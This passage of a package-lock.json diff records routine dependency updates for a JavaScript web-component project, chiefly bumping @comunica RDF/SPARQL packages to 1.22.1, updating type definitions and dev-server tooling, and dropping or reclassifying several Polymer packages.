+1177,7 @@ "@comunica/actor-query-operation-update-move-rewrite": "^1.22.0", "@comunica/actor-query-operation-values": "^1.22.0", "@comunica/actor-rdf-dereference-fallback": "^1.22.0", - "@comunica/actor-rdf-dereference-http-parse": "^1.22.0", + "@comunica/actor-rdf-dereference-http-parse": "^1.22.1", "@comunica/actor-rdf-join-multi-smallest": "^1.22.0", "@comunica/actor-rdf-join-nestedloop": "^1.22.0", "@comunica/actor-rdf-join-symmetrichash": "^1.22.0", @@ -1871,7 +1193,7 @@ "@comunica/actor-rdf-parse-html-microdata": "^1.22.0", "@comunica/actor-rdf-parse-html-rdfa": "^1.22.0", "@comunica/actor-rdf-parse-html-script": "^1.22.0", - "@comunica/actor-rdf-parse-jsonld": "^1.22.0", + "@comunica/actor-rdf-parse-jsonld": "^1.22.1", "@comunica/actor-rdf-parse-n3": "^1.22.0", "@comunica/actor-rdf-parse-rdfxml": "^1.22.0", "@comunica/actor-rdf-parse-xml-rdfa": "^1.22.0", @@ -1879,15 +1201,15 @@ "@comunica/actor-rdf-resolve-hypermedia-links-queue-fifo": "^1.22.0", "@comunica/actor-rdf-resolve-hypermedia-none": "^1.22.0", "@comunica/actor-rdf-resolve-hypermedia-qpf": "^1.22.0", - "@comunica/actor-rdf-resolve-hypermedia-sparql": "^1.22.0", + "@comunica/actor-rdf-resolve-hypermedia-sparql": "^1.22.1", "@comunica/actor-rdf-resolve-quad-pattern-federated": "^1.22.0", "@comunica/actor-rdf-resolve-quad-pattern-hypermedia": "^1.22.0", "@comunica/actor-rdf-resolve-quad-pattern-rdfjs-source": "^1.22.0", "@comunica/actor-rdf-serialize-jsonld": "^1.22.0", "@comunica/actor-rdf-serialize-n3": "^1.22.0", - "@comunica/actor-rdf-update-hypermedia-patch-sparql-update": "^1.22.0", - "@comunica/actor-rdf-update-hypermedia-put-ldp": "^1.22.0", - "@comunica/actor-rdf-update-hypermedia-sparql": "^1.22.0", + "@comunica/actor-rdf-update-hypermedia-patch-sparql-update": "^1.22.1", + "@comunica/actor-rdf-update-hypermedia-put-ldp": "^1.22.1", + "@comunica/actor-rdf-update-hypermedia-sparql": "^1.22.1", "@comunica/actor-rdf-update-quads-hypermedia": "^1.22.0", "@comunica/actor-rdf-update-quads-rdfjs-store": "^1.22.0", "@comunica/actor-sparql-parse-algebra": "^1.22.0", @@ -1899,11 +1221,11 @@ "@comunica/actor-sparql-serialize-sparql-json": "^1.22.0", "@comunica/actor-sparql-serialize-sparql-tsv": "^1.22.0", "@comunica/actor-sparql-serialize-sparql-xml": "^1.22.0", - "@comunica/actor-sparql-serialize-stats": "^1.22.0", + "@comunica/actor-sparql-serialize-stats": "^1.22.1", "@comunica/actor-sparql-serialize-table": "^1.22.0", "@comunica/actor-sparql-serialize-tree": "^1.22.0", "@comunica/bus-context-preprocess": "^1.22.0", - "@comunica/bus-http": "^1.22.0", + "@comunica/bus-http": "^1.22.1", "@comunica/bus-http-invalidate": "^1.22.0", "@comunica/bus-init": "^1.22.0", "@comunica/bus-optimize-query-operation": "^1.22.0", @@ -1948,13 +1270,13 @@ } }, "@comunica/actor-init-sparql-rdfjs": { - "version": "1.22.0", - "resolved": "https://registry.npmjs.org/@comunica/actor-init-sparql-rdfjs/-/actor-init-sparql-rdfjs-1.22.0.tgz", - "integrity": "sha512-Vc2zRl0WvS+tcOYFmztcL3mo76hi/hIQosemwGKAN5SqZlQUdrrA/6NTBxLVg4ruFvBx595D+dPh/SaydbJNCg==", + "version": "1.22.1", + "resolved": "https://registry.npmjs.org/@comunica/actor-init-sparql-rdfjs/-/actor-init-sparql-rdfjs-1.22.1.tgz", + "integrity": "sha512-mt3nimne/dZA8NSX3IraMScr8NHb8tsekYgoxomRbeWpt2oN33wMQiudh6m6yz9C6ep+R8VVkF9abjSYf/sbHg==", "dev": true, "requires": { "@comunica/actor-abstract-mediatyped": "^1.22.0", - "@comunica/actor-init-sparql": "^1.22.0", + "@comunica/actor-init-sparql": "^1.22.1", "@comunica/actor-query-operation-ask": "^1.22.0", "@comunica/actor-query-operation-bgp-empty": "^1.22.0", "@comunica/actor-query-operation-bgp-left-deep-smallest": "^1.22.0", @@ -2390,9 +1712,9 @@ } }, "@comunica/actor-query-operation-sparql-endpoint": { - "version": "1.22.0", - "resolved": "https://registry.npmjs.org/@comunica/actor-query-operation-sparql-endpoint/-/actor-query-operation-sparql-endpoint-1.22.0.tgz", - "integrity": "sha512-ZmjX8YVCrq3k52liOFgopmFRm1ZQCtQrA25MM7I2fyeav1viHxMX45/m3VGNv4RdlYmnB5mJIACphrizO5j40A==", + "version": "1.22.1", + "resolved": "https://registry.npmjs.org/@comunica/actor-query-operation-sparql-endpoint/-/actor-query-operation-sparql-endpoint-1.22.1.tgz", + "integrity": "sha512-+CJijvZFK6E07rsljoxqzseDu02t1W60zAZ4Y4Bm6DKv1v16WzJ99VFeTRk/UkP9MKG0zmR7dE/WASneytmsiQ==", "dev": true, "requires": { "@comunica/bus-rdf-resolve-quad-pattern": "^1.22.0", @@ -2402,7 +1724,7 @@ "@rdfjs/types": "*", "arrayify-stream": "^1.0.0", "asynciterator": "^3.2.0", - "fetch-sparql-endpoint": "^2.3.1", + "fetch-sparql-endpoint": "^2.3.2", "rdf-string": "^1.5.0", "rdf-terms": "^1.6.2", "sparqlalgebrajs": "^3.0.0" @@ -2522,9 +1844,9 @@ "dev": true }, "@comunica/actor-rdf-dereference-http-parse": { - "version": "1.22.0", - "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-dereference-http-parse/-/actor-rdf-dereference-http-parse-1.22.0.tgz", - "integrity": "sha512-P+eFoHZniPYdYe61wE8x3Mta5OK2pZ7hWK9z4llPuusLDT2iAmUFtfZrLBqY+FaR8/aHGUkX9ioqeUU5j5x/uw==", + "version": "1.22.1", + "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-dereference-http-parse/-/actor-rdf-dereference-http-parse-1.22.1.tgz", + "integrity": "sha512-EkFa7RocUeTj4Exc8m0Bi9SOC4W4wmpQNPg6BRf62yjPoQGn+CJFFkvhwg//1/hxnhATyEkFm1EZInwgT5UAkw==", "dev": true, "requires": { "cross-fetch": "^3.0.5", @@ -2666,9 +1988,9 @@ } }, "@comunica/actor-rdf-parse-jsonld": { - "version": "1.22.0", - "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-parse-jsonld/-/actor-rdf-parse-jsonld-1.22.0.tgz", - "integrity": "sha512-cWUQOfJ2k4Ggx3MaHspJAxO5qHWA42FDMoZlpKw00+9bNYJajVpmLqZ8vd6FWo8BhBTKUgCa27QCxlCcbJjjdA==", + "version": "1.22.1", + "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-parse-jsonld/-/actor-rdf-parse-jsonld-1.22.1.tgz", + "integrity": "sha512-MFFhJ6eGyO40Be80zsFKAbRjkPXr80PvCqvVKsEstdv3u9C6GFV3nqZpCwvsVCz22IPQhW+rzb8ZyasmgHnurA==", "dev": true, "requires": { "@comunica/context-entries": "^1.22.0", @@ -2744,9 +2066,9 @@ } }, "@comunica/actor-rdf-resolve-hypermedia-sparql": { - "version": "1.22.0", - "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-resolve-hypermedia-sparql/-/actor-rdf-resolve-hypermedia-sparql-1.22.0.tgz", - "integrity": "sha512-iAOyrnesr4GZaaOgGDiPHnGxNmjEWpVABhKTudML/b1GjMA9k9B3ApQxRqtktOG85LvetJtiXgazEKw6UFRtmg==", + "version": "1.22.1", + "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-resolve-hypermedia-sparql/-/actor-rdf-resolve-hypermedia-sparql-1.22.1.tgz", + "integrity": "sha512-nbvGfhHKyPBygeQyxLyUyrQen7q3JrSJi92x8TrkhUoTxiEYM0bYUvYmsciqlxLhNxH7EPpMzzf1oaiZfiqlqA==", "dev": true, "requires": { "@comunica/bus-query-operation": "^1.22.0", @@ -2754,7 +2076,7 @@ "@comunica/types": "^1.22.0", "@rdfjs/types": "*", "asynciterator": "^3.2.0", - "fetch-sparql-endpoint": "^2.3.1", + "fetch-sparql-endpoint": "^2.3.2", "rdf-data-factory": "^1.0.3", "rdf-terms": "^1.6.2", "sparqlalgebrajs": "^3.0.0" @@ -2828,9 +2150,9 @@ } }, "@comunica/actor-rdf-update-hypermedia-patch-sparql-update": { - "version": "1.22.0", - "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-update-hypermedia-patch-sparql-update/-/actor-rdf-update-hypermedia-patch-sparql-update-1.22.0.tgz", - "integrity": "sha512-vvvlsQo8rDL19WCTFx7xWrTQZhHJyRv9lwTzzMpp9Lp9Eyy3hgUF68rsPqIQVc3+2kW8z4vq6mvdIlTUsPPBXw==", + "version": "1.22.1", + "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-update-hypermedia-patch-sparql-update/-/actor-rdf-update-hypermedia-patch-sparql-update-1.22.1.tgz", + "integrity": "sha512-BgL/XNnuNjDKF8qMDWCIKLhZFxO6nolfD6IJuUULc4DeU9bXdNOrXFVnNRjg9BPCAUA5au0kK9hOyBLGWvmxJA==", "dev": true, "requires": { "cross-fetch": "^3.0.5", @@ -2838,21 +2160,21 @@ } }, "@comunica/actor-rdf-update-hypermedia-put-ldp": { - "version": "1.22.0", - "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-update-hypermedia-put-ldp/-/actor-rdf-update-hypermedia-put-ldp-1.22.0.tgz", - "integrity": "sha512-Q34T7G3KD1LeGtGhjOHEcPmuX2hkVA/pwRsBiBnHGeI4ERSVQZmvnjaow5Nwna7FhUmQYZ0KEABQ9GlvmlQnPw==", + "version": "1.22.1", + "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-update-hypermedia-put-ldp/-/actor-rdf-update-hypermedia-put-ldp-1.22.1.tgz", + "integrity": "sha512-shT8TnMeqLlyM2EDLghtrrXWOVEINfsPJquWnZDW4XvhrOR+rO+ypoiXKMT4RShqSKFLsla7uGL414Y3qhcvMw==", "dev": true, "requires": { "cross-fetch": "^3.0.5" } }, "@comunica/actor-rdf-update-hypermedia-sparql": { - "version": "1.22.0", - "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-update-hypermedia-sparql/-/actor-rdf-update-hypermedia-sparql-1.22.0.tgz", - "integrity": "sha512-6y2Wcg/5oBG2NK1ing+gC5zFllzLd5zhjsn/ntdU4O4cDqe/EMxTXPEW+XPIxfoPEksACMdvQCKcG8l7Z8kzrg==", + "version": "1.22.1", + "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-update-hypermedia-sparql/-/actor-rdf-update-hypermedia-sparql-1.22.1.tgz", + "integrity": "sha512-To9puiQLeTGsTCIDILxsNB2ih0e6RTliufaJsFY/VB1Lxi+EE/fHlkSHbaDNqhpLPJy+xJg5Rh2d4PHl1PaaEg==", "dev": true, "requires": { - "fetch-sparql-endpoint": "^2.3.1", + "fetch-sparql-endpoint": "^2.3.2", "rdf-string-ttl": "^1.1.0", "stream-to-string": "^1.2.0" } @@ -2980,9 +2302,9 @@ } }, "@comunica/actor-sparql-serialize-stats": { - "version": "1.22.0", - "resolved": "https://registry.npmjs.org/@comunica/actor-sparql-serialize-stats/-/actor-sparql-serialize-stats-1.22.0.tgz", - "integrity": "sha512-zUnFiaIsQ49fQorS/PzhUAEC/+euZ6vdl/h0hvn65O5VF41S8blS2m0uV/KHWtaeWPPgPxbK1xMDdsCFqijmiw==", + "version": "1.22.1", + "resolved": "https://registry.npmjs.org/@comunica/actor-sparql-serialize-stats/-/actor-sparql-serialize-stats-1.22.1.tgz", + "integrity": "sha512-v8OzTGRZNlh86f8C24WA3IIf8XfHQBMWJIxQsFsGeVj3jtB2ngYM7GZtr/xvcRjHooTULygcQIE4wwkW+KMlCQ==", "dev": true, "requires": { "@comunica/types": "^1.22.0", @@ -3018,13 +2340,15 @@ "dev": true }, "@comunica/bus-http": { - "version": "1.22.0", - "resolved": "https://registry.npmjs.org/@comunica/bus-http/-/bus-http-1.22.0.tgz", - "integrity": "sha512-hslwWJiu7pbPPGXye8NQnYeBoTdiPSpr51oZf4fj5jTxHPLJEbnika7+anYncQsW+amHYAmaDqJDwEQJIQYQog==", + "version": "1.22.1", + "resolved": "https://registry.npmjs.org/@comunica/bus-http/-/bus-http-1.22.1.tgz", + "integrity": "sha512-CZ0NDWZH0k0FOshuRQJzYr3Z+2ZM1vqr9ZepONuaoYDwyKaxl29xPs3hNfjSy6YawjEQP+elr/WDc3TxKIpu8g==", "dev": true, "requires": { "@comunica/context-entries": "^1.22.0", + "@types/readable-stream": "^2.3.11", "is-stream": "^2.0.0", + "readable-web-to-node-stream": "^3.0.2", "web-streams-node": "^0.4.0" } }, @@ -3393,7 +2717,8 @@ "@github/time-elements": { "version": "3.1.2", "resolved": "https://registry.npmjs.org/@github/time-elements/-/time-elements-3.1.2.tgz", - "integrity": "sha512-YVtZVLBikP6I7na22kfB9PKIseISwX41MFJ7lPuNz1VVH2IR5cpRRU6F1X6kcchPChljuvMUR4OiwMWHOJQ8kQ==" + "integrity": "sha512-YVtZVLBikP6I7na22kfB9PKIseISwX41MFJ7lPuNz1VVH2IR5cpRRU6F1X6kcchPChljuvMUR4OiwMWHOJQ8kQ==", + "dev": true }, "@humanwhocodes/config-array": { "version": "0.5.0", @@ -3544,23 +2869,27 @@ "lit-html": "^1.0.0" } }, + "@pawel-up/data-mock": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/@pawel-up/data-mock/-/data-mock-0.1.7.tgz", + "integrity": "sha512-1sCVyyiJvN3bAjr5ZPWs4iALchm6v1hZfmowenjabduMVxvx+dAEkeowSyL07F+wWtnFTLvRNvf7DiK6OuwzVA==" + }, + "@pawel-up/html.md": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/@pawel-up/html.md/-/html.md-0.1.0.tgz", + "integrity": "sha512-xJjiWGJUOaTZd9W5KgFfrwnjQTDT46lHs3i4zFkBi+nCGk5M/WRDX1RGEfjRAIE5BKvGn/kXeKXbjefNnT6msQ==" + }, "@polymer/font-roboto": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/@polymer/font-roboto/-/font-roboto-3.0.2.tgz", - "integrity": "sha512-tx5TauYSmzsIvmSqepUPDYbs4/Ejz2XbZ1IkD7JEGqkdNUJlh+9KU85G56Tfdk/xjEZ8zorFfN09OSwiMrIQWA==" + "integrity": "sha512-tx5TauYSmzsIvmSqepUPDYbs4/Ejz2XbZ1IkD7JEGqkdNUJlh+9KU85G56Tfdk/xjEZ8zorFfN09OSwiMrIQWA==", + "dev": true }, "@polymer/iron-a11y-announcer": { "version": "3.2.0", "resolved": "https://registry.npmjs.org/@polymer/iron-a11y-announcer/-/iron-a11y-announcer-3.2.0.tgz", "integrity": "sha512-We+hyaFHcg7Ke8ovsoxUpYEXFIJLHxMCDaLehTB4dELS+C+K0zMnGSiqQvb/YzGS+nSYpAfkQIyg1msOCdHMtA==", - "requires": { - "@polymer/polymer": "^3.0.0" - } - }, - "@polymer/iron-a11y-keys-behavior": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/@polymer/iron-a11y-keys-behavior/-/iron-a11y-keys-behavior-3.0.1.tgz", - "integrity": "sha512-lnrjKq3ysbBPT/74l0Fj0U9H9C35Tpw2C/tpJ8a+5g8Y3YJs1WSZYnEl1yOkw6sEyaxOq/1DkzH0+60gGu5/PQ==", + "dev": true, "requires": { "@polymer/polymer": "^3.0.0" } @@ -3569,14 +2898,7 @@ "version": "3.0.1", "resolved": "https://registry.npmjs.org/@polymer/iron-ajax/-/iron-ajax-3.0.1.tgz", "integrity": "sha512-7+TPEAfWsRdhj1Y8UeF1759ktpVu+c3sG16rJiUC3wF9+woQ9xI1zUm2d59i7Yc3aDEJrR/Q8Y262KlOvyGVNg==", - "requires": { - "@polymer/polymer": "^3.0.0" - } - }, - "@polymer/iron-fit-behavior": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/@polymer/iron-fit-behavior/-/iron-fit-behavior-3.1.0.tgz", - "integrity": "sha512-ABcgIYqrjhmUT8tiuolqeGttF/8pd3sEymUDrO1vXbZu4FWIvoLNndrMDFvs++AGd12Mjf5pYy84NJc6dB8Vig==", + "dev": true, "requires": { "@polymer/polymer": "^3.0.0" } @@ -3585,6 +2907,7 @@ "version": "3.0.1", "resolved": "https://registry.npmjs.org/@polymer/iron-flex-layout/-/iron-flex-layout-3.0.1.tgz", "integrity": "sha512-7gB869czArF+HZcPTVSgvA7tXYFze9EKckvM95NB7SqYF+NnsQyhoXgKnpFwGyo95lUjUW9TFDLUwDXnCYFtkw==", + "dev": true, "requires": { "@polymer/polymer": "^3.0.0" } @@ -3593,42 +2916,17 @@ "version": "3.0.1", "resolved": "https://registry.npmjs.org/@polymer/iron-form/-/iron-form-3.0.1.tgz", "integrity": "sha512-JwSQXHjYALsytCeBkXlY8aRwqgZuYIqzOk3iHuugb1RXOdZ7MZHyJhMDVBbscHjxqPKu/KaVzAjrcfwNNafzEA==", + "dev": true, "requires": { "@polymer/iron-ajax": "^3.0.0-pre.26", "@polymer/polymer": "^3.0.0" } }, - "@polymer/iron-meta": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/@polymer/iron-meta/-/iron-meta-3.0.1.tgz", - "integrity": "sha512-pWguPugiLYmWFV9UWxLWzZ6gm4wBwQdDy4VULKwdHCqR7OP7u98h+XDdGZsSlDPv6qoryV/e3tGHlTIT0mbzJA==", - "requires": { - "@polymer/polymer": "^3.0.0" - } - }, - "@polymer/iron-overlay-behavior": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/@polymer/iron-overlay-behavior/-/iron-overlay-behavior-3.0.3.tgz", - "integrity": "sha512-Q/Fp0+uOQQ145ebZ7T8Cxl4m1tUKYjyymkjcL2rXUm+aDQGb1wA1M1LYxUF5YBqd+9lipE0PTIiYwA2ZL/sznA==", - "requires": { - "@polymer/iron-a11y-keys-behavior": "^3.0.0-pre.26", - "@polymer/iron-fit-behavior": "^3.0.0-pre.26", - "@polymer/iron-resizable-behavior": "^3.0.0-pre.26", - "@polymer/polymer": "^3.0.0" - } - }, "@polymer/iron-range-behavior": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/@polymer/iron-range-behavior/-/iron-range-behavior-3.0.1.tgz", "integrity": "sha512-+jtL9v45M/T1RJleWyQaNH84S9/mIIR+AjNbYIttbKGp1eG+98j8MDWe7LXNtg79V2LQnE/+VS82cBeELyGVeg==", - "requires": { - "@polymer/polymer": "^3.0.0" - } - }, - "@polymer/iron-resizable-behavior": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/@polymer/iron-resizable-behavior/-/iron-resizable-behavior-3.0.1.tgz", - "integrity": "sha512-FyHxRxFspVoRaeZSWpT3y0C9awomb4tXXolIJcZ7RvXhMP632V5lez+ch5G5SwK0LpnAPkg35eB0LPMFv+YMMQ==", + "dev": true, "requires": { "@polymer/polymer": "^3.0.0" } @@ -3637,6 +2935,7 @@ "version": "3.0.1", "resolved": "https://registry.npmjs.org/@polymer/paper-progress/-/paper-progress-3.0.1.tgz", "integrity": "sha512-5nguG+tmnyoaWKVNG8Smtno2uLSPBgEsT3f20JY8yJTjUBYWaqa8E3l5RLkTRXgA4x9OnvLb8/CdlQWXQIogBg==", + "dev": true, "requires": { "@polymer/iron-flex-layout": "^3.0.0-pre.26", "@polymer/iron-range-behavior": "^3.0.0-pre.26", @@ -3648,40 +2947,22 @@ "version": "3.0.1", "resolved": "https://registry.npmjs.org/@polymer/paper-styles/-/paper-styles-3.0.1.tgz", "integrity": "sha512-y6hmObLqlCx602TQiSBKHqjwkE7xmDiFkoxdYGaNjtv4xcysOTdVJsDR/R9UHwIaxJ7gHlthMSykir1nv78++g==", + "dev": true, "requires": { "@polymer/font-roboto": "^3.0.1", "@polymer/iron-flex-layout": "^3.0.0-pre.26", "@polymer/polymer": "^3.0.0" } }, - "@polymer/paper-toast": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/@polymer/paper-toast/-/paper-toast-3.0.1.tgz", - "integrity": "sha512-pizuogzObniDdICUc6dSLrnDt2VzzoRne1gCmbD6sfOATVv5tc8UfrqhA2iHngbNBEbniBiciS3iogdp5KTVUQ==", - "requires": { - "@polymer/iron-a11y-announcer": "^3.0.0-pre.26", - "@polymer/iron-fit-behavior": "^3.0.0-pre.26", - "@polymer/iron-overlay-behavior": "^3.0.0-pre.27", - "@polymer/polymer": "^3.0.0" - } - }, "@polymer/polymer": { "version": "3.4.1", "resolved": "https://registry.npmjs.org/@polymer/polymer/-/polymer-3.4.1.tgz", "integrity": "sha512-KPWnhDZibtqKrUz7enIPOiO4ZQoJNOuLwqrhV2MXzIt3VVnUVJVG5ORz4Z2sgO+UZ+/UZnPD0jqY+jmw/+a9mQ==", + "dev": true, "requires": { "@webcomponents/shadycss": "^1.9.1" } }, - "@polymer/prism-element": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/@polymer/prism-element/-/prism-element-3.0.1.tgz", - "integrity": "sha512-mam3oZZwVoxmC8i2srCxaTsvCqZF2HX4yxbm1JN9OGZS2JMwu7bnjjk7O8haoj9u6w+ocUi+vTLjYeIIoPx7vQ==", - "requires": { - "@polymer/polymer": "^3.0.0", - "prismjs": "^1.11.0" - } - }, "@rdfjs/types": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/@rdfjs/types/-/types-1.0.1.tgz", @@ -3735,9 +3016,9 @@ } }, "@sinonjs/samsam": { - "version": "5.3.1", - "resolved": "https://registry.npmjs.org/@sinonjs/samsam/-/samsam-5.3.1.tgz", - "integrity": "sha512-1Hc0b1TtyfBu8ixF/tpfSHTVWKwCBLY4QJbkgnE7HcwyvT2xArDxb4K7dMgqRm3szI+LJbzmW/s4xxEhv6hwDg==", + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/@sinonjs/samsam/-/samsam-6.0.2.tgz", + "integrity": "sha512-jxPRPp9n93ci7b8hMfJOFDPRLFYadN6FSpeROFTR4UNF4i5b+EK6m4QXPO46BDhFgRy1JuS87zAnFOzCUwMJcQ==", "dev": true, "requires": { "@sinonjs/commons": "^1.6.0", @@ -3777,9 +3058,9 @@ } }, "@types/chai": { - "version": "4.2.21", - "resolved": "https://registry.npmjs.org/@types/chai/-/chai-4.2.21.tgz", - "integrity": "sha512-yd+9qKmJxm496BOV9CMNaey8TWsikaZOwMRwPHQIjcOJM9oV+fi9ZMNw3JsVnbEEbo2gRTDnGEBv8pjyn67hNg==", + "version": "4.2.22", + "resolved": "https://registry.npmjs.org/@types/chai/-/chai-4.2.22.tgz", + "integrity": "sha512-tFfcE+DSTzWAgifkjik9AySNqIyNoYwmR+uecPwwD/XRNfvOjmC/FjCxpiUGDkDVDphPfCUecSQVFw+lN3M3kQ==", "dev": true }, "@types/chai-dom": { @@ -3841,9 +3122,9 @@ } }, "@types/debounce": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/@types/debounce/-/debounce-1.2.0.tgz", - "integrity": "sha512-bWG5wapaWgbss9E238T0R6bfo5Fh3OkeoSt245CM7JJwVwpw6MEBCbIxLq5z8KzsE3uJhzcIuQkyiZmzV3M/Dw==", + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@types/debounce/-/debounce-1.2.1.tgz", + "integrity": "sha512-epMsEE85fi4lfmJUH/89/iV/LI+F5CvNIvmgs5g5jYFPfhO2S/ae8WSsLOKWdwtoaZw9Q2IhJ4tQ5tFCcS/4HA==", "dev": true }, "@types/estree": { @@ -3992,9 +3273,9 @@ } }, "@types/node": { - "version": "16.9.1", - "resolved": "https://registry.npmjs.org/@types/node/-/node-16.9.1.tgz", - "integrity": "sha512-QpLcX9ZSsq3YYUUnD3nFDY8H7wctAhQj/TFKL8Ya8v5fMm3CFXxo8zStsLAl780ltoYoo1WvKUVGBQK+1ifr7g==", + "version": "16.10.1", + "resolved": "https://registry.npmjs.org/@types/node/-/node-16.10.1.tgz", + "integrity": "sha512-4/Z9DMPKFexZj/Gn3LylFgamNKHm4K3QDi0gz9B26Uk0c8izYf97B5fxfpspMNkWlFupblKM/nV8+NA9Ffvr+w==", "dev": true }, "@types/normalize-package-data": { @@ -4036,6 +3317,16 @@ "integrity": "sha512-EEhsLsD6UsDM1yFhAvy0Cjr6VwmpMWqFBCb9w07wVugF7w9nfajxLuVmngTIpgS6svCnm6Vaw+MZhoDCKnOfsw==", "dev": true }, + "@types/readable-stream": { + "version": "2.3.11", + "resolved": "https://registry.npmjs.org/@types/readable-stream/-/readable-stream-2.3.11.tgz", + "integrity": "sha512-0z+/apYJwKFz/RHp6mOMxz/y7xOvWPYPevuCEyAY3gXsjtaac02E26RvxA+I96rfvmVH/dEMGXNvyJfViR1FSQ==", + "dev": true, + "requires": { + "@types/node": "*", + "safe-buffer": "*" + } + }, "@types/resolve": { "version": "1.17.1", "resolved": "https://registry.npmjs.org/@types/resolve/-/resolve-1.17.1.tgz", @@ -4062,9 +3353,9 @@ } }, "@types/sinon": { - "version": "10.0.2", - "resolved": "https://registry.npmjs.org/@types/sinon/-/sinon-10.0.2.tgz", - "integrity": "sha512-BHn8Bpkapj8Wdfxvh2jWIUoaYB/9/XhsL0oOvBfRagJtKlSl9NWPcFOz2lRukI9szwGxFtYZCTejJSqsGDbdmw==", + "version": "10.0.4", + "resolved": "https://registry.npmjs.org/@types/sinon/-/sinon-10.0.4.tgz", + "integrity": "sha512-fOYjrxQv8zJsqOY6V6ecP4eZhQBxtY80X0er1VVnUIAIZo74jHm8e1vguG5Yt4Iv8W2Wr7TgibB8MfRe32k9pA==", "dev": true, "requires": { "@sinonjs/fake-timers": "^7.1.0" @@ -4126,9 +3417,9 @@ } }, "@types/yargs": { - "version": "17.0.2", - "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-17.0.2.tgz", - "integrity": "sha512-JhZ+pNdKMfB0rXauaDlrIvm+U7V4m03PPOSVoPS66z8gf+G4Z/UW8UlrVIj2MRQOBzuoEvYtjS0bqYwnpZaS9Q==", + "version": "17.0.3", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-17.0.3.tgz", + "integrity": "sha512-K7rm3Ke3ag/pAniBe80A6J6fjoqRibvCrl3dRmtXV9eCEt9h/pZwmHX9MzjQVUc/elneQTL4Ky7XKorC71Lmxw==", "dev": true, "requires": { "@types/yargs-parser": "*" @@ -4151,9 +3442,9 @@ } }, "@web/browser-logs": { - "version": "0.2.4", - "resolved": "https://registry.npmjs.org/@web/browser-logs/-/browser-logs-0.2.4.tgz", - "integrity": "sha512-11DAAv8ZqbO267dwBLXtvmDoJXXucG5n+i9oQQEEVgbgXKOvK/7eqGhrSDKuZ7TTTkSci9fW7ZcuKFtaKskAIA==", + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/@web/browser-logs/-/browser-logs-0.2.5.tgz", + "integrity": "sha512-Qxo1wY/L7yILQqg0jjAaueh+tzdORXnZtxQgWH23SsTCunz9iq9FvsZa8Q5XlpjnZ3vLIsFEuEsCMqFeohJnEg==", "dev": true, "requires": { "errorstacks": "^2.2.0" @@ -4169,74 +3460,40 @@ } }, "@web/dev-server": { - "version": "0.1.22", - "resolved": "https://registry.npmjs.org/@web/dev-server/-/dev-server-0.1.22.tgz", - "integrity": "sha512-8PZxz2PGK9Ndr0C2LtWHrTzPKkDYTP/IvEMs9nrIebQWxvVjxI/HpvNfli3ivvCtvvcJFI26FvfWaAWDq14GgQ==", + "version": "0.1.24", + "resolved": "https://registry.npmjs.org/@web/dev-server/-/dev-server-0.1.24.tgz", + "integrity": "sha512-2Erea/FywKMH7ANaj8fVqrA6hKXHI0SYWXuf9OvCCSb4t+nwrNlAZGbeL8FXJGgJqD0M6+8g7xAZveeTLYGU9w==", "dev": true, "requires": { "@babel/code-frame": "^7.12.11", "@rollup/plugin-node-resolve": "^11.0.1", "@types/command-line-args": "^5.0.0", "@web/config-loader": "^0.1.3", - "@web/dev-server-core": "^0.3.14", - "@web/dev-server-rollup": "^0.3.9", + "@web/dev-server-core": "^0.3.16", + "@web/dev-server-rollup": "^0.3.10", "camelcase": "^6.2.0", - "chalk": "^4.1.0", "command-line-args": "^5.1.1", "command-line-usage": "^6.1.1", "debounce": "^1.2.0", "deepmerge": "^4.2.2", "ip": "^1.1.5", + "nanocolors": "^0.2.1", "open": "^8.0.2", "portfinder": "^1.0.28" }, "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, "camelcase": { "version": "6.2.0", "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.2.0.tgz", "integrity": "sha512-c7wVvbw3f37nuobQNtgsgG9POC9qMbNuMQmTCqZv23b6MIz0fcYpBiOlv9gEN/hdLdnZTDQhg6e9Dq5M1vKvfg==", "dev": true - }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": 